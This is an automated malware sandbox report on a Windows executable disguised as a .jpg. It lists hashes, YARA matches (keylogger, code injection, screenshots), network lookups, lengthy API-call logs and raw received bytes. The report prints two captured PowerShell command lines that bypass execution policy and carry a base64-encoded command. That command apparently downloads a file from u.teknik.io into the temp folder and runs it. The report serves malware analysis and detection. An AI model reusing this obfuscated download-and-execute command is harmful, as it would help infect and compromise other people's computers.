popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

pkM3T.jpg

Process Kill CryptGenKey FindFirstVolume Antivirus
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 April 13, 2021, 4:10 p.m. April 13, 2021, 4:12 p.m.
Size 847.5KB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 9fbd32c6bb25f6a660696fa9830c5040
SHA256 5de2819f832f06f69009b07779eacabc1b171540b10689b4b23eaac8f3232e14
CRC32 9477927D
ssdeep 24576:8AHnh+eWsN3skA4RV1Hom2KXMmHadhp5:bh+ZkldoPK8YadJ
Yara
  • PE_Header_Zero - PE File Signature Zero
  • OS_Processor_Check_Zero - OS Processor Check Signature Zero
  • Process_Snapshot_Kill_Zero - Process Kill Zero
  • Device_Check_Zero - Device Check Zero
  • CryptGenKey_Zero - CryptGenKey Zero
  • FindFirstVolume_Zero - FindFirstVolume Zero
  • inject_thread - Code injection with CreateRemoteThread in a remote process
  • network_http - Communications over HTTP
  • escalate_priv - Escalade priviledges
  • screenshot - Take screenshot
  • keylogger - Run a keylogger
  • win_registry - Affect system registries
  • win_token - Affect system token
  • win_files_operation - Affect private profile
  • Str_Win32_Winsock2_Library - Match Winsock 2 API library declaration
  • Str_Win32_Wininet_Library - Match Windows Inet API library declaration
  • Str_Win32_Internet_API - Match Windows Inet API call
  • Str_Win32_Http_API - Match Windows Http API call
  • IsPE32 - (no description)
  • IsWindowsGUI - (no description)
  • HasDebugData - DebugData Check
  • HasRichSignature - Rich Signature Check
  • AutoIt - www.autoitscript.com/site/autoit/

Name Response Post-Analysis Lookup
u.teknik.io
A 5.79.72.163
CNAME teknik.io
5.79.72.163
IP Address Status Action
164.124.101.2 Active Moloch
172.217.25.14 Active Moloch
5.79.72.163 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00201960
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00201ee0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00201ee0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00201ee0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002020e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002020e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002020e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002020e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002020e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002020e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00201920
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00201920
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00201920
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00201ee0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00201ee0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00201ee0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00201520
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00201ee0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00201ee0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00201ee0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00201ee0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00201ee0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00201ee0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00201ee0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00202260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00202260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00202260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00202260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00202260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00202260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00202260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00202260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00202260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00202260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00202260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00202260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00202260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00202260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002021a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002021a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0038d108
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0038db08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0038db08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0038db08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0038d1c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0038d1c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0038d1c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0038d1c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0038d1c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0038d1c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header suspicious_request GET https://u.teknik.io/28oLW.jpg
request GET https://u.teknik.io/28oLW.jpg
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73772000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02640000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02650000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 4864
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6fc91000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0270a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 4864
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6fc92000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02702000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02712000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02651000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02652000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0273a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02713000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02714000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0274b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02747000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0270b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02732000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02745000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02715000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0273c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b80000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02716000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0274c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02733000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02734000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02735000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02736000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02737000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02738000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02739000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05010000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05011000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05012000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05013000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05014000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05015000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05016000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05017000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05018000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05019000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0501a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0501b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0501c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0501d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0501e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0501f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05020000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05021000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05022000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4864
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05023000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\eVDwACBtpW.exe
file C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -w 1 /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwAHMAOgAvAC8AdQAuAHQAZQBrAG4AaQBrAC4AaQBvAC8AMgA4AG8ATABXAC4AagBwAGcAHSAgACwAIAAdICQARQBOAHYAOgB0AGUAbQBwAFwAZQBWAEQAdwBBAEMAQgB0AHAAVwAuAGUAeABlAB0gIAApACAAOwAgAHMAdABBAFIAdAAgAB0gJABFAE4AdgA6AHQAZQBtAHAAXABlAFYARAB3AEEAQwBCAHQAcABXAC4AZQB4AGUAHSA=
cmdline powershell.exe PowERsHEL`l -ExecutionPolicy Bypass -w 1 /`e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwAHMAOgAvAC8AdQAuAHQAZQBrAG4AaQBrAC4AaQBvAC8AMgA4AG8ATABXAC4AagBwAGcAHSAgACwAIAAdICQARQBOAHYAOgB0AGUAbQBwAFwAZQBWAEQAdwBBAEMAQgB0AHAAVwAuAGUAeABlAB0gIAApACAAOwAgAHMAdABBAFIAdAAgAB0gJABFAE4AdgA6AHQAZQBtAHAAXABlAFYARAB3AEEAQwBCAHQAcABXAC4AZQB4AGUAHSA=
file C:\Users\test22\AppData\Local\Temp\eVDwACBtpW.exe
file C:\Users\test22\AppData\Local\Temp\eVDwACBtpW.exe
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received  ¼
Data received M`uCôiϙp+è•NGªd†lAxu‰Ã>ɨ¸²¯·ôŒ òG“o¦Üª9G“Ì$âЁ.¯~0：.pˆC‘&æÀ ÿ ÒÏ`0‚\0‚D ¼$ϨsøÉ`å^«OèÔK0  *†H†÷  021 0 UUS10U  Let's Encrypt1 0 UR30 210324141911Z 210622141911Z010U *.teknik.io0Y0*†HÎ=*†HÎ=Bέ/·…jðÖºo¤[ÿ…õJ.ð+„r#.w̹T$×î×lÇÜ(ÑiþÈ"¾YÙh¾Vh' ñgŽ(Y²(bþ£‚Q0‚M0Uÿ€0U%0++0 Uÿ00Ul­Ä(}fƒëÆ\qÀìk0U#0€.³·XVË®P @毝‹ÂÆ0U+I0G0!+0†http://r3.o.lencr.org0"+0†http://r3.i.lencr.org/0!U0‚ *.teknik.io‚ teknik.io0LU E0C0g 07 +‚ß0(0&+http://cps.letsencrypt.org0‚ +ÖyõòðvD”e.°îίÄ@بþ(ÀÚ悾ØË1µ?Ó3–µ¶¨xdÑrÿG0E CÂ0yÚÉ\í¼([û’C.N[v ²s…¶Åå´³˜¨!’ ËäsüS0ˆ=ƒ ¹×ÙæªÅ%¬zUöµGÛËG’vö\”/Ñw0"T0”VŽãM3¿ß / ÌNñdãxdÑrçG0E!υkã؟Yë{XؗGç%GLû¶4x oA×qf2¬y{ .·ƒ§—ýÔTè`IŒ1öû{T~ª&¼¸ä¹õ,e=d'O¿0  *†H†÷  ‚QEuq·*Çhåç+@=7|I‰Î3 }|›+<å"Ô ¦»ò¡ÔÓ-¢&¯«™Ý½\LÖ5é4V^t–¼co­úè6Ïñ•E7Zíïkæ˜Pä)ãA\3NTõâL”jl„ª ӊÌa_ ~KâΨG2h´ú›¦º­nq7*éRlÓ Ž Ìƒm¦z;7ÞÐ d+ïVk‡­)A[“̘1/>hŸ‹`z L¾eìªëĨ̠ ú@êçE‡^˜kû”·ååeo…Ä­«·9óÕH0Bªý5ñfÔ(mÙO «±5Å.àÐĔ]*”ô»÷Ð -Û"y$†(&™UöE‰*2i0‚e0‚M @uƒ¤È!Œ„© Íß0  *†H†÷  0?1$0"U Digital Signature Trust Co.10UDST Root CA X30 201007192140Z 210929192140Z021 0 UUS10U  Let's Encrypt1 0 UR30‚"0  *†H†÷ ‚0‚ ‚»(Ìö 